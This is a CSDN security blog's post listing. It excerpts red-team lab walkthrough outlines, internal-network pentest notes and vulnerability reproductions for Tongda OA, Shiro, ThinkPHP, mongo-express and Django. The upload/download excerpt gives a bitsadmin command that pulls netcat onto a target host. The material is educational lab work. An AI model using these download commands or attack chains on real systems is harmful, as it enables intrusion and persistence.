BeretSEC-CSDN博客

转载 WEB 安全—深入学习命令执行漏洞

在命令执行上下文中，|、||、& 和 && 是用于控制命令执行的操作符。它们在使用和行为上有所不同：管道操作符 |：作用：将前一个命令的输出作为后一个命令的输入，用于连接多个命令的执行结果。示例：command1 | command2，将 command1 的输出作为 command2 的输入。逻辑或操作符 ||：作用：用于在命令执行时，只有前一个命令执行失败（返回非零退出状态码）时才执行后续的命令。

2023-06-17 10:49:28 876

原创【Window 入侵排查】

通过PowerShell进行查询最常用的两个命令是【Get-EventLog】和【Get-WinEvent】，两者的区别是【Get-EventLog】只获取传统的事件日志，而【Get-WinEvent】是从传统的事件日志（如系统日志和应用程序日志）和新Windows事件日志技术生成的事件日志中获取事件，其还会获取Windows事件跟踪（ETW）生成的日志文件中的事件。Windows系统中的进程排查，主要是找到恶意进程的PID、程序路径，有时还需要找到PPID（PID的父进程）及程序加载的DLL。

2023-01-31 14:40:31 1484

原创一、java编写登录功能

1. 编写login . html登录页面username & password 两个输入框 2. 使用 Druid 数据库连接池技术 , 操作mysql，数据库中创建user表 3. 使用 JdbcTemplate 技术封装 JDBC 4. 登录成功跳转到 SuccessServlet 展示：登录成功！用户名 , 欢迎您 5. 登录失败跳转到 FailServlet 展示：登录失败，用户名或密码错误。

2023-01-12 17:42:08 5378

原创 ATT&CK实战系列—红队实战-5

ATT&CK实战系列—红队实战-50、靶场介绍1、信息收集2、漏洞分析2.1 漏洞挖掘2.2 漏洞验证3、漏洞利用3.1 ThinkPHP 5.0.22 getshell3.2 主机信息收集4、权限提升4.1 S 使用 msf 提权4.2 dump Hash4.3 远程登录5、权限维持5.1 任务计划6、横向渗透6.1 搭建 socks 代理6.2 内网信息收集6.3 横向渗透--域控7、痕迹清理0、靶场介绍ATT&CK第五个攻防靶场已经出来了，此次靶场虚拟机共用两个，一个外网一个内网

2021-04-28 09:05:40 1191

原创 ATT&CK实战系列—红队实战-4

0、靶场介绍靶场下载、配置参考：http://vulnstack.qiyuanxuetang.net/vuln/detail/6/靶场配置后需要自行开启 vulhub 里面的三个漏洞。1、信息收集2、漏洞分析该阶段为漏洞挖掘、漏洞扫描、漏洞验证2.1 struts2 漏洞struts2 漏洞检查工具：https://github.com/HatBoy/Struts2-Scanhttps://github.com/shack2/Struts2VulsToolshttps://git

2021-04-27 19:02:24 1401

原创 ATT&CK实战系列—红队实战-3

ATT&CK实战系列—红队实战-30、靶场介绍1、信息收集2、漏洞分析2.1 漏洞挖掘2.2 漏洞扫描2.3 漏洞验证3、漏洞利用3.1 Joomala Getshell3.2 主机信息收集3.3 敏感信息收集4、权限提升4.1 脏牛提权5、权限维持5.1 添加 root 后门6、横向渗透6.1 搭建 socks5 代理6.2 内网主机探测6.3 端口探测6.4 漏洞扫描6.5 域内横向--域成员6.6 域内横向--域控6.7 拿到 FLAG7、痕迹清理7.1 Linux7.2 windows0

2021-04-27 18:40:41 1436 1

原创 ATT&CK实战系列—红队实战-2

ATT&CK实战系列—红队实战-20、靶场简介1、信息收集2、漏洞分析2.1 漏洞扫描2.2 漏洞验证3、漏洞利用3.1 CVE-2019-2725 Getshell3.2 主机信息收集4、权限提升4.1 使用 msf 提权4.2 CVE-2019-1388：Windows UAC 本地提权4.3 获取hash&账号密码5、权限维持--注册表运行键5.1 Metasploit 内置模块5.2 命令行--手工创建6、横向渗透6.1 代理转发6.2 域内信息收集6.3 内网横向--域控1、使用

2021-04-27 17:48:51 966 1

原创 ATT&CK实战系列—红队实战-1

ATT&CK实战系列—红队实战-10、靶场介绍1、信息收集2、漏洞分析2.1 漏洞挖掘2.2 漏洞扫描2.3 漏洞验证3、漏洞利用3.1 Yxcms 后台 Getshell3.2 phpmyadmin 日志 getshell3.2 主机信息收集4、权限提升4.1 使用 msf 提权4.2 dump hash4.3 远程登录5、权限维持5.1 guest 后门6、横向渗透6.1 代理转发6.2 信息收集6.3 横向渗透--域成员6.4 横向渗透--域控7、痕迹清理0、靶场介绍ATT&CK

2021-04-26 19:28:05 1075 3

原创内网渗透--上传与下载

内网渗透--上传与下载内网渗透–上传与下载使用bitsadmin 进行下载使用powershell 进行下载使用 certutil 进行下载使用 WGET 进行下载内网渗透–上传与下载对于不用直接上传而且只能通过命令行执行的shell，我们可以通过以下的方法对文件进行上传和下载。使用bitsadmin 进行下载下载命令：bitsadmin /transfer n http://172.16.12.128/NC.exe E:\nc.exe使用powershell 进行下载本地下载：power

2020-11-30 18:17:27 1028

原创内网渗透--压缩数据

内网渗透--压缩数据使用WinRAR 工具进行解压缩1、以RAR 格式压缩/解压2、分卷压缩/解压使用7-Zip 工具进行解压缩1、普通压缩解压方式2、分卷压缩/解压方式在渗透测试中，数据的下载也是重要的一部分，通常我们使用winrar、7-zip 进行压缩数据而后进行下载。使用WinRAR 工具进行解压缩目标机器上安装了 WinRAR，可以直接使用；如果没有安装，可以在本地下载并安装，然后把 WinRAR安装目录里的 rar.exe文件提取出来，上传到目标机器中（安装 WinRAR的

2020-11-30 18:12:24 633

原创内网渗透--建立隐藏通信隧道

内网渗透--建立隐藏通信隧道

2020-11-30 18:08:09 361

原创隐藏通信隧道-判断内网连通性

隐藏通信隧道-判断内网连通性完成内网信息收集后，我们需要判断流量是否出得去，进得来。隐藏通信隧道技术常用于在访问受限的网络环境中追踪数据流向和在非受信任的网络中实现安全的数据传输。判断内外的连通性是指判断机器能否上外网等。要综合判断各种协议（TCP、HTTP、DNS、ICMP等）及端口通信等情况。常见的允许流量流出的端口有80、8080、443、53、110、123等。—-《内网安全攻防–渗透测试实战指南》1、ICMP 协议使用ping 命令进行探测：ping <ip地址或者域名>

2020-10-29 17:30:12 347

原创信息收集--域内信息收集

域内信息收集一、收集域内基础信息1．查询域2．查询此域内所有计算机3.查询域内所有用户组列表4．查询所有域成员计算机列表5．获取域密码信息6．获取域信任信息二、查找域控制器1．查看域内控制器的机器名2.查看域控制器的主机名3．查看当前时间4．查看域控制器组三、获取域内的用户和管理员信息1.查询所有域用户列表2.查询域管理员用户组四、定位域管理员1.常用域管理员定位工具五、查找域管理进程1．本机检查2. 查询域控制器的域用户会话3. 扫描远程系统上运行的任务4. 扫描远程系统上 NetBIOS 信息5. 利用

2020-10-29 17:25:58 2398

原创信息收集--端口探测

探测内网端口1.利用 Telnet 命令进行扫描2.利用 S 扫描器3.利用 Metasploit 端口扫描4.PowerSploit 下的 Invoke-portscan.ps1 模块5.Nishang 下的 Invoke-PortScan 模块1.利用 Telnet 命令进行扫描Telnet 协议是 TCP/IP 协议族的一员，是 Internet 远程登录服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在使用者计算机上使用 Telnet 程序，可以连接到目标服务器。

2020-09-25 16:08:17 501

原创信息收集--主机存活

信息收集--主机存活探测内网存活主机1.利用 NetBIOS 快速探测内网2.利用 ICMP 协议快速探测内网3.利用 ARP 扫描探测内网4.利用 TCP/UDP 端口扫描探测内网探测内网存活主机内网存活主机的探测是内网渗透中不可或缺的一个环节。在扫描的时候，应尽量避免使用 Namp等工具进行暴力扫描.要尽量使用目标系统自带的各种工具，推荐使用 PowerShell 脚本。对于 Windows 7以下版本的系统，可以使用 VBS 脚本。在探测时，可在白天和夜间分别探测，以对比分析存活主机和对应的 I

2020-09-25 16:03:34 515

原创信息收集--判断是否有域

信息收集–判断是否有域搜集完本机相关信息后，接下来，就要判断当前内网是否有域。如果有，需要判断所控主机是否在域内。1．使用 ipconfig 命令使用以下命令,查看网关 IP 地址、DNS 的 IP 地址、本地地址是否和 DNS 服务器为同一网段、域名等.C:\Windows\Temp>ipconfig /allWindows IP 配置主机名 . . . . . . . . . . . . . : Srv-DB-0day主 DNS 后缀 . . . . . . . . . . .

2020-08-31 09:04:55 2209

原创信息收集--本机信息

信息收集--本机信息本机信息收集一、手工信息收集1. 查询网络配置信息2．查询操作系统及安装软件的版本信息3．查询本机服务信息4．查询进程列表5．查看启动程序信息6．查看计划任务7．查看主机开机时间8．查询用户列表9．列出或断开本地计算机和连接的客户端的会话10．查询端口列表11．查询补丁列表12．查询本机共享13．查询路由表及所有可用接口的 ARP 缓存表14．查询防火墙相关配置15．查看计算机代理配置情况16．查询并开启远程连接服务17.查询当前权限、账号信息二、自动化信息收集本机信息收集不管是在

2020-08-31 08:57:33 1116

原创 python（pip） 2&3 安装配置

python 2&3（pip）配置安装Python 安装包下载安装python2和python3修改python文件添加Python2\3 路径到环境变量pip2和pip3的设置Python 安装包下载根据自需下载相应版本。下载链接：https://www.python.org/downloads/windows/安装python2和python3安装路径自定义即可，然后next到完成。修改python文件修改python2目录下python.exe为python2.exe，修改py

2020-07-08 15:43:26 422

原创通达OA远程命令执行漏洞利用复现(exp,getshell)

通达OA远程命令执行漏洞利用复现一、漏洞描述二、环境搭建三、影响版本四、漏洞复现五、工具使用一、漏洞描述通达OA是由北京通达信科科技有限公司开发的一款办公系统，前一段时间通达官方在其官网发布了安全提醒与更新程序，并披露有用户遭到攻击。攻击者可在未授权的情况下可上传图片木马文件，之后通过精心构造的请求进行文件包含，实现远程命令执行，且攻击者无须登陆认证即可完成攻击。二、环境搭建1、通达OA下载后，一键安装下载地址：http://www.tongda2000.com/download/down.php

2020-07-07 15:00:20 4330 1

原创 Apache Shiro 1.2.4反序列化漏洞（CVE-2016-4437）

Apache Shiro 1.2.4反序列化漏洞漏洞描述漏洞环境漏洞复现漏洞描述Apache Shiro是一款开源安全框架，提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用，同时也能提供健壮的安全性。Apache Shiro 1.2.4及以前版本中，加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie，触发Java反序列化漏洞，进而在目标机器上执行任意命令。漏洞环境环境下载后，执行如下命令启动一个使用了Apac

2020-07-03 14:16:48 781

原创 ThinkPHP 2.x 任意代码执行漏洞

ThinkPHP 2.x 任意代码执行漏洞漏洞描述环境搭建漏洞复现参考链接漏洞描述ThinkPHP 2.x版本中，使用preg_replace的/e模式匹配路由：KaTeX parse error: Undefined control sequence: \w at position 23: …reg_replace('@(\̲w̲+)'.depr.’([^’.KaTeX parse error: Undefined control sequence: \/ at position 7: depr.

2020-06-29 10:19:51 1692

原创 JDK环境变量配置

JDK环境变量配置1、配置环境变量2、测试是否成功1、配置环境变量右击“我的电脑”–>“属性”–>“高级系统设置”–>“高级”–>“环境变量”在系统变量里新建"JAVA_HOME"变量，变量值为：C:\ProgramFiles\Java\jdk1.8.0_60（JDK的安装路径）；在系统变量里新建"classpath"变量 .;%JAVA_HOME%\lib;...

2020-06-24 10:12:41 95

原创（CVE-2019-10758）mongo-express 远程代码执行漏洞复现

mongo-express 远程代码执行漏洞漏洞描述漏洞环境漏洞复现漏洞描述mongo-express是一款mongodb的第三方Web界面，使用node和express开发。如果攻击者可以成功登录，或者目标服务器没有修改默认的账号密码（admin:pass），则可以执行任意node.js代码。漏洞环境环境搭建：https://github.com/vulhub/vulhub/tree/master/mongo-express/CVE-2019-10758执行如下命令启动一个0.53.0版本的mo

2020-06-18 18:17:26 570

原创 Django GIS SQL注入漏洞复现（CVE-2020-9402）

Django GIS SQL注入漏洞复现漏洞详情漏洞环境漏洞复现漏洞详情Django是Django基金会的一套基于Python语言的开源Web应用框架。该框架包括面向对象的映射器、视图系统、模板系统等。 Django 1.11.29之前的1.11.x版本、2.2.11之前的2.2.x版本和3.0.4之前的3.0.x版本中存在SQL注入漏洞。攻击者可借助特制的SQL语句利用该漏洞查看、添加、修改或删除数据库中的信息。漏洞环境环境搭建，环境启动后，访问http://your-ip:8000即可看到Dja

2020-06-17 14:45:07 2032

原创 Django JSONField/HStoreField SQL注入漏洞（CVE-2019-14234）

Django JSONField/HStoreField SQL注入漏洞漏洞描述：环境搭建：漏洞复现：漏洞描述：Django是一个大而全的Web框架，其支持很多数据库引擎，包括Postgresql、Mysql、Oracle、Sqlite3等，但与Django天生为一对儿的数据库莫过于Postgresql了，Django官方也建议配合Postgresql一起使用。Django在2019年8月1日发布了一个安全更新，修复了在JSONField、HStoreField两个模型字段中存在的SQL注入漏洞。

2020-06-15 15:08:15 595

空空如也

空空如也